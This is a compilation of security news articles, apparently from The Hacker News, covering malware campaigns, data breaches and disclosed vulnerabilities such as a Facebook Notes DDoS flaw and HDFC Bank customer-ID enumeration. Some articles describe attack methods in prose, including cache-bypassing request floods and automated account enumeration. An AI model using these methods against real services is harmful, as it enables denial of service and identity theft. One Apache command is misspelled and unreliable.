Vulnerability Allows Anyone to DDoS Websites Using Facebook Servers | https://thehackernews.com/2014/04/vulnerability-allows-anyone-to-ddos.html | Reading a 'Note' created by anyone on the Facebook could trick you automatically to do malicious attacks against others unknowingly.
A Security researcher Chaman Thapa, also known as chr13 claims that the flaw resides in 'Notes' section of the most popular social networking site - Facebook, that could allow anyone to launch the distributed denial-of-service (DDoS) attack of more than 800 Mbps Bandwidth on any website.
A Distributed Denial-of-Service (DDoS) attack is one in which multiple compromised systems attacks a single target system or service to make it unavailable to its intended users. The flood of incoming requests essentially forces the target system or service to shut down, thereby denying service to the system to its legitimate users.
While demonstrating the vulnerability on his blog, he explained that Facebook allows its users to include
tags inside the post in order to draft a note with beautiful related images from any source.
Facebook basically downloads external images from the original source for the first time only, and then cache them, but if the image url have dynamic parameters, then Facebook cache mechanism could be bypassed to force the Facebook servers to download all included images each time whenever anybodys open the note in its browser.
'Facebook will only cache the image once however using random get parameters the cache can be by-passed and the feature can be abused to cause a huge HTTP GET flood.' he said.
DDoS FACTOR, A SCENARIO
Let's suppose if you want to DDoS a website target.com, that have an image of 1 MB Size on its server. An attacker can create a Facebook Note with some text, including same image multiple times with dynamic parameters, i.e.
This way one can force Facebook servers to load 1 mb of file 1000 times in one pageview and if 100 Facebook users are reading the same crafted note at the same time, then Facebook servers will be forced to download 1 x 1000 x 100 = 100,000 Mb or 97.65Gb bandwidth within few seconds from the targeted servers.
400 MBPS DDoS ATTACK DEMO
Researcher demonstrated the proof-of-concept with 400 Mbps attack, by attacking on his own web server. Stats shown below:
The factor and danger of DDoS attack could be even higher when the image is replaced by a pdf or video of larger size, in case Facebook would crawl a huge file but the user gets nothing.
Facebook allows a user to create maximum of 100 Notes in a short span of time and each Note could support more than 1000 links, but because there is no captcha for the Facebook Notes creation, so all this operation can be performed automatically and an attacker could easily creates hundreds of notes using multiple users at the time of performing attack.
"It seems there is no restriction put on Facebook servers and with so many servers crawling at once we can only imagine how high this traffic can get" he concluded.
STILL UNPATCHED AND DON'T EXPECT ANY PATCH FROM FACEBOOK
Unfortunately, Facebook has no plans to fix this critical vulnerability, "In the end, the conclusion is that there's no real way to us fix this that would stop attacks against small consumer grade sites without also significantly degrading the overall functionality," Facebook replied to the researcher.
Similar kind of attack was noticed in mid of 2011 year when a security penetration tester at Italian security firm AIR Sicurezza Informatica discovered flaws in Google's Plus servers that allowed hackers to exploit the search giant's bandwidth and launch a distributed denial-of-service (DDoS) attack on a server of their choice.
| Vulnerability |
Dutch Police arrested TorRAT Malware Gang for stealing over Million Dollar | https://thehackernews.com/2013/10/dutch-police-arrested-torrat-malware.html | The TorRAT malware was first appeared in 2012 as spying tool only. But from August 2012, Bitcoin Mining feature was added and it became a powerful hacking tool that was commonly associated with attacks on Financial institutions.
ab
This year TorRat Malware targeted two out of three major Banks in the Netherlands and the criminals stole over Million Dollars from user' Banking Accounts.
The Dutch police has arrested four men from Alkmaar, Haarlem, Woubrugge and Roden on last Monday, who are suspected of involvement in the large scale digital fraud and money laundering case using TorRat Malware.
Using Spear Phishing techniques, gang targeted the victims to access their computers and the Financial accounts. The gang used anonymous VPN services, Bitcoins, TorMail and the Tor network itself to remain anonymous.
Malware is also capable of manipulating the information during online banking, can secretly add new payment orders and also able to modify existing orders.
To defend the detection from Antivirus softwares, TorRat uses the ZeuS malware in its attack. The technique was used to divert the focus of researchers to remove ZeuS infection, rather than the unknown malware on the system.
Some of the stolen money was converted by criminals to (56 BTC worth around 7700 Euros) Bitcoin virtual currency, which are now seized by Dutch police. Police also mentioned that, one of arrested criminal having his own Bitcoin exchange service.
The TorRAT malware has been known to be distributed in multiple ways. In April, TorRat was in news for hijacking twitter accounts. After infecting a vulnerable computers, the TorRAT malware hijacks the Twitter user's account and share links that lead to attack websites that attempt to inject TorRAT malware into the victim's computer.
The main reason why this particular attack is so effective is because victims are essentially receiving links to the TorRAT malware from sources they trust; accounts that they follow on Twitter. TorRAT malware involves using Man-in-the-Browser (MitB) tactics to infect computers through vulnerabilities in their Web browser. These kinds of attacks were used to take over a victim's online banking account.
They made more than 150 fraudulent transactions for victim's accounts and Police said that, because Gang was operating from the Netherlands, so tracking them become possible.
| Vulnerability |
A New Spyware is Targeting Telegram and Psiphon VPN Users in Iran | https://thehackernews.com/2021/06/a-new-spyware-is-targeting-telegram-and.html | Threat actors with suspected ties to Iran have been found to leverage instant messaging and VPN apps like Telegram and Psiphon to install a Windows remote access trojan (RAT) capable of stealing sensitive information from targets' devices since at least 2015.
Russian cybersecurity firm Kaspersky, which pieced together the activity, attributed the campaign to an advanced persistent threat (APT) group it tracks as Ferocious Kitten, a group that has singled out Persian-speaking individuals allegedly based in the country while successfully operating under the radar.
"The targeting of Psiphon and Telegram, both of which are quite popular services in Iran, underlines the fact that the payloads were developed with the purpose of targeting Iranian users in mind," Kaspersky's Global Research and Analysis Team (GReAT) said.
"Moreover, the decoy content displayed by the malicious files often made use of political themes and involved images or videos of resistance bases or strikes against the Iranian regime, suggesting the attack is aimed at potential supporters of such movements within the country."
Kaspersky's findings emerge from two weaponized documents that were uploaded to VirusTotal in July 2020 and March 2021 that come embedded with macros, which, when enabled, drop next-stage payloads to deploy a new implant called MarkiRat.
The backdoor allows adversaries broad access to a victim's personal data, comprising features to record keystrokes, capture clipboard content, download and upload files, as well as the ability to execute arbitrary commands on the victim machine.
In what appears to be an attempt to expand their arsenal, the attackers also experimented with different variants of MarkiRat that were found to intercept the execution of apps like Google Chrome and Telegram to launch the malware and keep it persistently anchored to the computer at the same time also making it much harder to be detected or removed. One of the discovered artifacts also includes a backdoored version of Psiphon; an open-source VPN tool often used to evade internet censorship.
Another recent variant involves a plain downloader that retrieves an executable from a hardcoded domain, with the researchers noting that the "use of this sample diverges from those used by the group in the past, where the payload was dropped by the malware itself, suggesting that the group might be in the process of changing some of its TTPs."
What's more, the command-and-control infrastructure is also said to have hosted Android applications in the form of DEX and APK files, raising the possibility that the threat actor is also simultaneously developing malware aimed at mobile users.
Interestingly, the tactics adopted by the adversary overlap with other groups that operate against similar targets, such as Domestic Kitten and Rampant Kitten, with Kaspersky finding parallels in the way the actor used the same set of C2 servers over extended periods of time and attempted to gather information from KeePass password manager.
"Ferocious Kitten is an example of an actor that operates in a wider ecosystem intended to track individuals in Iran," the researchers concluded. "Such threat groups do not appear to be covered that often and can therefore get away with casually reusing infrastructure and toolsets without worrying about them being taken down or flagged by security solutions."
| Malware |
Reddit Hacked – Emails, Passwords, Private Messages Stolen | https://thehackernews.com/2018/08/hack-reddit-account.html | Another day, another significant data breach.
This time the victim is Reddit... seems someone is really pissed off with Reddit's account ban policy or bias moderators.
Reddit social media network today announced that it suffered a security breach in June that exposed some of its users' data, including their current email addresses and an old 2007 database backup containing usernames and hashed passwords.
According to Reddit, the unknown hacker(s) managed to gain read-only access to some of its systems that contained its users' backup data, source code, internal logs, and other files.
In a post published to the platform Wednesday, Reddit Chief Technology Officer Christopher Slowe admitted that the hack was a serious one, but assured its users that the hackers did not gain access to Reddit systems.
"[The attackers] were not able to alter Reddit information, and we have taken steps since the event to further lock down and rotate all production secrets and API keys, and to enhance our logging and monitoring systems," Slowe wrote.
According to Slowe, the most significant data contained in the backup was account credentials (usernames and their corresponding salted and hashed passwords), email addresses and all content including private messages.
Attacker Bypassed SMS-based Two-Factor Authentication
Reddit learned about the data breach on June 19 and said that the attacker compromised a few of the Reddit employees' accounts with its cloud and source code hosting providers between June 14 and June 18.
The hack was accomplished by intercepting SMS messages that were meant to reach Reddit employees with one-time passcodes, eventually circumventing the two-factor authentication (2FA) Reddit had in place attacks.
The security breach should be a wake-up call to those who still rely on SMS-based authentication and believes it is secure. It's time for you to move on from this method and switch to other non-SMS-based two-factor authentication.
Reddit is also encouraging users to move to token-based two-factor authentication, which involves your mobile phone generating a unique one-time passcode over an app.
Reddit said that users can follow a few steps mentioned on the breach announcement page to check if their accounts were involved.
Moreover, Reddit will reset passwords for users who may have had their login credentials stolen in the breach, and also directly notify all affected users with tips on how they can protect themselves.
| Data_Breaches |
Warning: Researcher Drops phpMyAdmin Zero-Day Affecting All Versions | https://thehackernews.com/2019/09/phpmyadmin-csrf-exploit.html | A cybersecurity researcher recently published details and proof-of-concept for an unpatched zero-day vulnerability in phpMyAdmin—one of the most popular applications for managing the MySQL and MariaDB databases.
phpMyAdmin is a free and open source administration tool for MySQL and MariaDB that's widely used to manage the database for websites created with WordPress, Joomla, and many other content management platforms.
Discovered by security researcher and pentester Manuel Garcia Cardenas, the vulnerability claims to be a cross-site request forgery (CSRF) flaw, also known as XSRF, a well-known attack wherein attackers trick authenticated users into executing an unwanted action.
Identified as CVE-2019-12922, the flaw has been given a medium rating because of its limited scope that only allows an attacker to delete any server configured in the setup page of a phpMyAdmin panel on a victim's server.
To be noted, it's not something you should not be much worried about because the attack doesn't allow attackers to delete any database or table stored on the server.
All an attacker needs to do is send a crafted URL to targeted web administrators, who already have logged in to their phpmyAdmin panel on the same browser, tricking them into unknowingly delete the configured server by simply clicking on it.
"The attacker can easily create a fake hyperlink containing the request that wants to execute on behalf of the user, in this way making possible a CSRF attack due to the wrong use of HTTP method," Cardenas explains in a post to the Full Disclosure mailing list.
However, the vulnerability is trivial to exploit because other than knowing the URL of a targeted server, an attacker doesn't need to know any other information, like the name of the databases.
Proof of Concept Exploit Code
The flaw affects phpMyAdmin versions up to and including 4.9.0.1, which is the latest version of the software at the time of writing.
The security flaw also resides in phpMyAdmin 5.0.0-alpha1, which was released in July 2019, Cardenas told The Hacker News.
Cardenas discovered this vulnerability back in June 2019, and also responsibly reported it to the project maintainers.
However, after phpMyAdmin maintainers failed to patch the vulnerability within 90 days of being notified, the researcher decided to release the vulnerability details and PoC to the public on 13 September.
To address this vulnerability, Cardenas recommended to "implement in each call the validation of the token variable, as already done in other phpMyAdmin requests," as a solution.
Until the maintainers patch the vulnerability, website administrators and hosting providers are highly recommended to avoid clicking any suspicious links.
| Vulnerability |
Beware of Fake-Antivirus "Win 8 Security System" | https://thehackernews.com/2012/11/beware-of-fake-antivirus-win-8-security.html | Late in August McAfee Labs discovered a Fake Antivirus program that claims to detect infections, and displays alerts to scare users into purchasing protection.
On the contrary, this program is not genuine software and has nothing to do with reliable and effective AV tools. The truth is that this is another scam application developed to enter your PC through vulnerabilities in outdated programs.
Trend Micro, which detects the threat as TROJ_FAKEAV.EHM said, "After infecting a user's system, this malware scares its victim into buying the "product" by displaying fake security messages, stating that the computer is infected with spyware or other malware and only this product can remove it after you download the trial version. As soon as the victim downloads Win 8 Security System, it pretends to scan your computer and shows a grossly exaggerated amount of nonexistent threats".
This sort of malware is commonplace, with examples existing for Windows XP, Windows Vista, Windows 7 and even Mac OS X. What's amazing is not that the hackers have decided to use the Windows 8 name, but the fact that they chose to do this before Windows 8 is even out.
Trend Micro's conclusion about this threat is that, It is typical for cybercriminals to piggyback on the highly-anticipated release of any latest technology to take their malware, spam, malicious app to new heights. To stay safe, users must keep their cool and think twice before clicking links or visiting web pages especially those that promise the latest items or programs for free. If it's too good to be true it probably is.
| Malware |
Default Apache Configuration Can Unmask Tor Hidden Services | https://thehackernews.com/2016/02/apache-tor-service-unmask.html | Attention Tor Onion Hosters!
A year old loophole in Apache Web Server, uncovered by an unknown Computer Science Student, could potentially unmask the real identity of .onion-domains and servers hidden behind the Tor-network.
Although the loophole was reported on Reddit and to the Tor Project months back, it recently came to the limelight soon after a tweet by Alec Muffet, a well-known security enthusiast and current software engineer at Facebook.
What is Tor Hidden (.onion) Service? Dark Web websites (generally known as 'onion services') with a special domain name that ends with .onion, are called Tor Hidden Service and reachable only via the Tor network.
Tor Hidden Service is a widely popular anonymity network used by Whistleblowers, Underground Markets, Defense Networks and more in order to maintain secrecy over the Internet.
An Onion Website can be hosted on the top of any web servers. But, if you are choosing Apache, then you need to rethink.
Apache Misconfiguration Exposes Tor Hidden Servers
According to the report, most distributions of Apache Server ship with mod_status module, enabled by default, which could disclose the real identity of the .onion domains, placing the Onion Servers at risk of being identified.
Apache's mod_status module helps server administrators to monitor the health of web server with an HTML interface and is accessible via a web browser on its localhost only.
The Output of this module would be available on every server when accessing the URL: https://website.com/server-status/
However, running mod_status module with Tor hidden service may result in exposing 'server-status' page to the world via Tor daemon service.
This page would spit the sensitive backend data like server's settings, uptime, resource usage, total traffic, virtual hosts, and active HTTP requests if enabled by default which is enough to figure out the Server location.
"What could a malicious actor do in that case? They could spy on potentially sensitive requests," reads the blog post regarding the issue. "They could deduce the server's approximate longitude if the timezone is set. They could even determine its IP address if a clearnet Virtual Host is present."
How to Disable mod_status on Apache
Now, if you run a .onion domain on top of any Apache Server, then make sure that the mod_status is disabled.
For this, you may need to run this code in shell command:-
sudo ap2dismod status
Where,
"ap2" stands for Apache 2.x
"dis" stands for disable
"mod" stands for module
Soon after this, if you reload, then you would be prompted by a 403 or 404 Error Prompt. The Error message would ensure that you are no longer vulnerable to that Risk.
| Vulnerability |
Google Kicks Out Largest Android Adware Family From The Play Store | https://thehackernews.com/2017/03/android-adware-malware-google.html | With the rise in the mobile market, Adware has become one of the most prevalent mobile threats in the world. Adware has traditionally been used to aggressively push ads like banners or pop-ups on mobile screens to make money.
The troublesome part is that Adware is now becoming trojanized and more sophisticated, as it aggressively collects personal data from the mobile device it's installed on, including name, birth date, location, serial number, contacts, and browser data without users' consent.
However, the risk is a bit higher on Android than other platforms because of the extra permissions that apps enjoy.
Although Google has stepped up its efforts to remove potentially harmful apps from its Play Store in the past years and added more stringent malware checks for new apps, Adware app eventually finds its way into its mobile app marketplace to target millions of Android users.
In its recent efforts to make its Play Store ecosystem safe, Google has recently discovered a new massive ad-fraud family of a botnet that was infecting Android users through apps hosted on its official Play Store.
Dubbed Chamois, the family of PHAs (potentially harmful applications) was capable of bombarding users with pop-up ads, boosting app promotion by automatically installing other applications in the background, subscribing users to premium services by sending text messages and downloading additional plugins without their knowledge.
Google engineers said they caught Chamois after they discovered suspicious ad traffic while performing a routine ad traffic quality evaluation.
Despite the fact that the app uses obfuscation and anti-analysis techniques to evade detection, Google engineers eventually uncovered a massive network of developers that had tricked users into installing malicious apps on their phones.
The goal behind the malware-laced apps appears to have been ad fraud and make money by employing different techniques to bypass Google's detection and prevention systems.
"We analyzed malicious apps based on Chamois, and found that they employed several methods to avoid detection and tried to trick users into clicking ads by displaying deceptive graphics," security software engineers at Google said in a blog post.
"This sometimes resulted in downloading of other apps that commit SMS fraud. So we blocked the Chamois app family using Verify Apps and also kicked out bad actors who were trying to game our ad systems."
The Chamois apps had a multi-stage payload structure, including a custom encrypted storage area for configuration files and additional code, which required deeper analysis to understand the malicious part.
According to the Google engineers, their security teams had to look through more than 100,000 lines of sophisticated code written by seemingly professional developers in an effort to figure out exactly what the Chamois-related apps were up to.
After the discovery of Chamois, Google blocked the Chamois app family using its Verify Apps and also banned some people who were trying to take advantage of its ad system to make money on the adware apps.
Google also updated its app testing system that is now capable of detecting this new Chamois-related threat.
| Malware |
New Facebook Bug Exposed 6.8 Million Users Photos to Third-Party Apps | https://thehackernews.com/2018/12/facebook-api-bug-leak.html | Facebook's latest screw-up — a programming bug in Facebook website accidentally gave 1,500 third-party apps access to the unposted Facebook photos of as many as 6.8 million users.
Facebook today quietly announced that it discovered a new API bug in its photo-sharing system that let 876 developers access users' private photos which they never shared on their timeline, including images uploaded to Marketplace or Facebook Stories.
"When someone gives permission for an app to access their photos on Facebook, we usually only grant the app access to photos people share on their timeline. In this case, the bug potentially gave developers access to other photos, such as those shared on Marketplace or Facebook Stories," Facebook said.
What's worse? The bug even exposed photos that people uploaded to Facebook but chose not to post or didn't finish posting it for some reason.
The flaw left users' private data exposed for 12 days, between September 13th and September 25th, until Facebook discovered and fixed the security blunder on the 25th September.
"Currently, we believe this may have affected up to 6.8 million users and up to 1,500 apps built by 876 developers. The only apps affected by this bug were ones that Facebook approved to access the photos API and that individuals had authorized to access their photos," Facebook said.
The social media giant has started notifying impacted users of the flaw through an alert on their Facebook timeline that their photos may have been exposed, which will direct them to its Help Center page with more information.
Facebook also says the social media network will soon be rolling out "tools for app developers that will allow them to determine which people using their app might be impacted by this bug."
Facebook also assures its users that the company will be working with app developers to delete copies of photos that they were not supposed to access.
2018 has been quite a terrible year for Facebook with the social media giant found dealing with a slew of security incidents this year—the most significant one being the Cambridge Analytic scandal that exposed personal data of 87 million Facebook users.
The social network also suffered its worst-ever security breach in September this year that exposed highly sensitive data of 14 million users.
In the same month, Facebook also addressed a similar severe API bug that was actively being exploited by unknown hackers to steal secret access tokens and gather personal information for 30 million Facebook users.
In June, Facebook also suffered another security issue affecting 14 million users, wherein users' posts that were meant to be private became public.
These security incidents came out to be a failure of the social media giant in keeping the personal information of its 2.2 billion users protected while generating billions of dollars in revenue from the same information.
| Data_Breaches |
Israel Neutralizes Cyber Attack by Blowing Up A Building With Hackers | https://thehackernews.com/2019/05/israel-hamas-hacker-airstrikes.html | The Israel Defense Force (IDF) claims to have neutralized an "attempted" cyber attack by launching airstrikes on a building in Gaza Strip from where it says the attack was originated.
As shown in a video tweeted by IDF, the building in the Gaza Strip, which Israeli fighter drones have now destroyed, was reportedly the headquarters for Palestinian Hamas military intelligence, from where a cyber unit of hackers was allegedly trying to penetrate Israel's cyberspace.
"We thwarted an attempted Hamas cyber offensive against Israeli targets. Following our successful cyber defensive operation, we targeted a building where the Hamas cyber operatives work. HamasCyberHQ.exe has been removed," said the Israeli Defence Forces on Twitter.
However, the Israel Defense Force has not shared any information about the attempted cyber attack by the Hamas group, saying it would reveal the country's cyber capabilities.
According to Judah Ari Gross of Times of Israel, the commander of the IDF's Cyber Division said, "We were a step ahead of them the whole time," and "this was one of the first times where Israeli soldiers had to fend off a cyber attack while also fighting a physical battle."
However, it's not the first time when a country retaliates to a cyberattack with a physical attack. In 2015-16, the U.S. military reportedly killed two ISIS hackers—Siful Haque Sujan and Junaid Hussain of Team Poison hacking group—using drone strikes in Syria.
The commander did not reveal the name of the target, but did say that the cyber attack by Hamas was aimed at "harming the way of life of Israeli citizens."
The tension between Israel and Hamas has increased over the last year, with the latest conflict began on Friday after Hamas militants launched at least 600 rockets and mortars at Israel and shot two Israeli soldiers.
In retaliation to the violence by Hamas, the Israel military has carried out their own strikes on what it claimed were hundreds of Hamas and Islamic Jihad targets in the coastal enclave.
So far, at least 27 Palestinians and 4 Israeli civilians have been killed, and over 100 of them have been injured.
The IDF said its airstrike targeted and killed Hamed Ahmed Abed Khudri, who the Israel military reportedly accused of funding the Hamas rocket fire attacks by transferring money from Iran to armed factions in Gaza.
"Transferring Iranian money to Hamas and the PIJ [Palestinian Islamic Jihad] doesn't make you a businessman. It makes you a terrorist," IDF wrote in a tweet that included an image of a Toyota car in flames.
In a new development, Israel has stopped its air strikes on the Palestinian territory and lifted all protective restrictions imposed near the Gaza area, after Palestinian officials offered a conditional ceasefire agreement with Israel to end the violence.
| Cyber_Attack |
U.S. Charges Three Chinese Hackers for Hacking Siemens, Trimble & Moody | https://thehackernews.com/2017/11/chinese-hackers-charged.html | The United States Justice Department has charged three Chinese nationals for allegedly hacking Moody's Analytics economist, German electronics manufacturer Siemens, and GPS maker Trimble, and stealing gigabytes of sensitive data and trade secrets.
According to an indictment unsealed Monday in federal court in Pittsburgh, Pennsylvania, the three men worked for a Chinese cybersecurity company, Guangzhou Bo Yu Information Technology Company Limited (Boyusec), previously linked to China's Ministry of State Security.
Earlier this year, security researchers also linked Boyusec to one of the active Chinese government-sponsored espionage groups, called Advanced Persistent Threat 3 (or APT3), which is also known as Gothic Panda, UPS Team, Buckeye, and TG-0110.
In 2013, APT3 allegedly stole the blueprints for ASIO's new Canberra building using a piece of malware that was uploaded to an ASIO employee's laptop.
According to the indictment, the three Chinese nationals—identified as Wu Yingzhuo, Dong Hao, and Xia Lei—launched "coordinated and unauthorized" cyber attacks between 2011 and 2017, and successfully steal information from a number of organizations by compromising their accounts.
The trio of hackers has alleged to have attacked Moody's Analytics, Siemens, and Trimble by sending spear-phishing emails with malicious attachments or links to malware.
The men also used customized tools collectively known as the 'ups' or 'exeproxy' malware to gain unauthorized, persistent access to the targeted companies' networks, allowing them to search for and steal confidential business information and user credentials.
"The primary goal of the co-conspirators' unauthorized access to victim computers was to search for, identify, copy, package, and steal data from those computers, including confidential business and commercial information, work product, and sensitive victim employee information, such as usernames and passwords that could be used to extend unauthorized access within the victim systems," the DOJ said.
The most affected one of the three companies was IT giant Siemens. According to the indictment, the defendants:
Stole approximately 407 gigabytes of data from Siemens' energy, technology and transportation businesses in 2014.
Hacked into Trimble's network and stole at least 275 megabytes of data, including trade secrets related to global navigation satellite systems technology the company spent millions of dollars developing, in 2015 and 2016.
Accessed an internal email server at Moody's in 2011 and forwarded the account of an unidentified "prominent employee" to their own accounts, and eventually accessing the confidential messages sent to that account until 2014.
According to the DoJ, both Wu and Dong were co-founders and shareholders of Boyusec, while Lei was an employee. All the three defendants were residents of Guangzhou.
The Chinese men have been charged with a total of eight counts, including one charge of committing computer fraud and abuse, two charges of committing trade secret theft, three counts of wire fraud and four to eight counts of aggravated identity theft.
If found guilty in the court of law, the hackers face a maximum sentence of 42 years in prison.
| Cyber_Attack |
Twitter Takes Tweetdeck Offline due to Vulnerability | https://thehackernews.com/2012/03/twitter-takes-tweetdeck-offline-due-to_31.html | Twitter Takes Tweetdeck Offline due to Vulnerability
Twitter has taken its Tweetdeck app offline after an apparent bug has possibly given some Tweetdeck users access to others' accounts. The web version of Tweetdeck is currently down, although older desktop editions of the software appear to continue to receive and send Tweets at the moment, and can still log out and back in.
A Sydney, Australia-based Tweetdeck user named Geoff Evason says he discovered today he was somehow able to access hundreds of other accounts through Tweetdeck. "I'm a tweetdeck user. A bug has given me access to hundreds of twitter and facebooks account through tweetdeck. I didn't do anything special to make this happen. I just logged in one day, the account was was slower than normal, and I could post from many more accounts."
And demonstrated that he could access another account by sending Tweet. Other accounts may well be affected, as Twitter quickly shut off access to Tweetdeck entirely to "look into an issue. They've offered us no comment other than their Tweet.
| Vulnerability |
Facebook Sues Israeli NSO Spyware Firm For Hacking WhatsApp Users | https://thehackernews.com/2019/10/whatsapp-nso-group-malware.html | Finally, for the very first time, an encrypted messaging service provider is taking legal action against a private entity that has carried out malicious attacks against its users.
Facebook filed a lawsuit against Israeli mobile surveillance firm NSO Group on Tuesday, alleging that the company was actively involved in hacking users of its end-to-end encrypted WhatsApp messaging service.
Earlier this year, it was discovered that WhatsApp had a critical vulnerability that attackers were found exploiting in the wild to remotely install Pegasus spyware on targeted Android and iOS devices.
The flaw (CVE-2019-3568) successfully allowed attackers to silently install the spyware app on targeted phones by merely placing a WhatsApp video call with specially crafted requests, even when the call was not answered.
Developed by NSO Group, Pegasus allows access to an incredible amount of data from victims' smartphones remotely, including their text messages, emails, WhatsApp chats, contact details, calls records, location, microphone, and camera.
Pegasus is NSO's signature product that has previously been used against several human rights activists and journalists, from Mexico to the United Arab Emirates two years ago, and Amnesty International staffers in Saudi Arabia and another Saudi human rights defender based abroad earlier last year.
Though NSO Group always claims it legally sells its spyware only to governments with no direct involvement, WhatsApp head Will Cathcart says the company has evidence of NSO Group's direct involvement in the recent attacks against WhatsApp users.
NSO Group Violated WhatsApp's Terms of Service
In a lawsuit filed (PDF) in U.S. District Court in San Francisco today, Facebook said NSO Group had violated WhatsApp's terms of services by using its servers to spread the spyware to approximately 1,400 mobile devices during an attack in April and May this year.
The company also believes that the attack targeted "at least 100 members of civil society, which is an unmistakable pattern of abuse," though it says this number may grow higher as more victims come forward.
"This attack was developed to access messages after they were decrypted on an infected device, abusing in-app vulnerabilities and the operating systems that power our mobile phones," Facebook-owned WhatsApp said in a blog post.
"Defendants (attackers) created WhatsApp accounts that they used and caused to be used to send malicious code to Target Devices in April and May 2019. The accounts were created using telephone numbers registered in different counties, including Cyprus, Israel, Brazil, Indonesia, Sweden, and the Netherlands."
The targeted users include attorneys, journalists, human rights activists, political dissidents, diplomats, and other senior foreign government officials, with WhatsApp numbers from different country codes, including the Kingdom of Bahrain, the United Arab Emirates, and Mexico.
WhatsApp said the company sent a warning note to all the affected 1,400 users impacted by this attack, directly informing them about what happened.
Facebook has also named NSO Group's parent company 'Q Cyber Technologies' as a second defendant in the case.
"The complaint alleges they violated both U.S. and California laws as well as the WhatsApp Terms of Service, which prohibits this type of abuse," the lawsuit states.
Now, the company has sued NSO Group under the United States state and federal laws, including the Computer Fraud and Abuse Act, as well as the California Comprehensive Computer Data Access and Fraud Act.
| Cyber_Attack |
Beware Of Fake 'HeartBleed Bug Remover Tool', Hijacks System with Malware | https://thehackernews.com/2014/05/beware-of-fake-heartbleed-bug-remover.html | I am considering that you all must have read my last article on OpenSSL Heartbleed, a critical bug in the OpenSSL's implementation of the TLS/DTLS heartbeat extension that allows attackers to read portions of the affected server's memory, potentially revealing users data, that the server did not intend to reveal.
The Heartbleed vulnerability made headlines around the world and my last article explains everything about probably the biggest Internet vulnerability in recent history, but still some readers are not aware of its nature, otherwise they would not have been a victim of the spam campaigns.
Spammers are very smart on gaining from every opportunity they get, so this time they are taking advantage of the infamous Heartbleed bug and frighten the users into installing Anti-Heartbleed Software onto their systems, which is obviously a malware.
The researchers at Symantec have unearthed a spam campaign targeting people by sending spam emails that warns them their system may still be "infected" with the Heartbleed bug and request them to run the Heartbleed bug removal tool (attached to the email, as shown below) in order to remove the virus from their system.
The people with a little knowledge of the OpenSSL Heartbleed Bug may follow what the spammers say, despite websites around the world flooded with the Heartbleed articles, explaining how it works, how to protect, and exactly what it is. Yet many didn't get it right.
We too explained almost everything related to the nature of the bug and the foremost myth of the people about the bug is answered in our top question that explained Heartbleed is not a Virus or Malware, instead it's a vulnerability resided in TLS heartbeat mechanism built into certain versions of the popular open source encryption standard OpenSSL. So, how could you go with the spammers in cleaning up your system to protect your systems from Heartbleed infection or malware?
Now, this is something which is unacceptable and allows cybercriminals to targets users with less technical knowledge to know that the Heartbleed vulnerability is not at all an infection or a malware.
"The spam email uses the social and scare tactics to lure users into opening the attached file," reads the blog post.
The email tricks users by masquerading itself to come from a very popular password management company, with the details to run the attached removal tool, along with the measures if users' antivirus software blocks it.
Users feel safe to open the attachment as the attached file seems to be a docx file, but once it is opened, it will serve an encrypted zip file to the user. When the user extracts the zip file content, they will find a malicious .exe file that represents itself as the Heartbleed bug removal tool.
Once the .exe file is executed by the user, it downloads a keylogger in the background without their knowledge, whereas the user shows a popup on the screen with a progress bar. After a while, a message flash on the screen reporting users that Heartbleed bug was not found and the computer is clean.
The user may feel relieved after knowing that the Heartbleed bug has not affected them, but during the same time they are unaware of the key-logger software installed in background and recording keystrokes, screenshots and sending all the personal information of users to the cyber criminals.
Users are recommended not to click on any link in the suspicious messages and better use your common sense and knowledge at right time and right place, because security researchers, experts and we sitting here can only provide you knowledge about the various vulnerabilities and measures to get rid of it, but else is up to you to protect yourself from these kind of security threats.
| Malware |
HDFC Bank website vulnerable to ID Theft and Account Blockade | https://thehackernews.com/2013/03/hdfc-bank-website-vulnerable-to-id.html | Indian Security Researcher Jiten Jain from Xebia Architects today revealed that one of the Largest Private Banks in India, HDFC Bank's e-Banking website could be easy target of Unique type of Denial of Service Attack which could result in blocking of e-banking accounts of all its customers. Here is the detailed report of vulnerability submitted by him.
___________________________________________
The NetBanking service of HDFC Bank, Which is one of the largest and most reputed Banks in India, is completely vulnerable to ID theft, Targeted phishing and Mass Account Blockade. HDFC bank has implemented an extra security solution called 'Secure Access' on its website but instead it has given a hidden door to hackers to block all HDFC NetBanking accounts. 'Secure Access' is an additional layer of security implement on HDFC Bank website is essentially a solution protecting your account from hackers and fraudsters. Secure Access, an online security initiative is intended to make NetBanking transactions safer by protecting users from phishing websites and Hackers and help users authenticate original HDFC website. HDFC Bank's NetBanking login is now a two-step process with Secure Access image and text verification. Let us take you through the steps involved in Secure Access and how it intends to protect NetBanking account of HDFC customers.
Let us take you through the steps involved in Secure Access and how it intends to protect NetBanking account of HDFC customers.
1) In First Step User has to provide his customer-id (User Id) on the first screen
2) User is then taken to the next screen where he is shown his personalized picture and message and asked to enter his IPIN (password).
Demo presentation of secure access work can be seen on HDFC website at following URL https://www.hdfcbank.com/assets/demo/secure_access.swf Secure Access which is claimed to be Multi-layered Authentication Process mandatory requires HDFC NetBanking users to register for it if they want to conduct ANY Third Party Transactions like Transferring Money, booking movie tickers, recharging phone.
During the research on HDFC Mobile Banking application and NetBanking Portal it was discovered that while implementing Secure Access HDFC Bank has compromised on the first and foremost principle of user authentication on any Banking website i.e. Never reveal whether its User Name or the password which is incorrect in case wrong combination is entered.
Since Secure access implementation requires user to only enter his Customer ID (The fixed user name in case of HDFC bank NetBanking users. The system then checks at the backend if the user is registered for Secure Access or NetBanking, if user is not a registered or valid user, Customer id is asked again. But in case if the customer id is found to be correct and registered, User is taken to second step and shown his secure access image and text he selected and asked to enter is password.
1.) 1 Now this 1st step of verifying customer id and showing personalized secure access image and text has made HDFC Bank vulnerable to Blind customer id collection. We exploited this vulnerability by running an automated suite with by generating random customer ids in a sequence (example from 434XXXX to 515XXXXXX) and logged on HDFC NetBanking website using them. The customer ids which showed secure access and image and text were noted and rest was discarded. The secure Access images and text which was shown for valid customer ids were also saved. Now by the process above we were able to achieve 3 things. It was shocking to see that secure text was displayed as simple text and not a text image.
By this automated first step of Login, we were able to create a Database of several customer Ids of HDFC NetBanking users. We could have made a complete database of every NetBanking users but since this trial was conducted with a motive of checking security on banking site, only a sample data was collected. We decided to destroy this data later after completing this Demonstration.
HDFC Phishing Mobile App using our database of secure Access images and Text
Customer Id, Personalized Image and Text of Customer in above Screenshots has been hidden for security
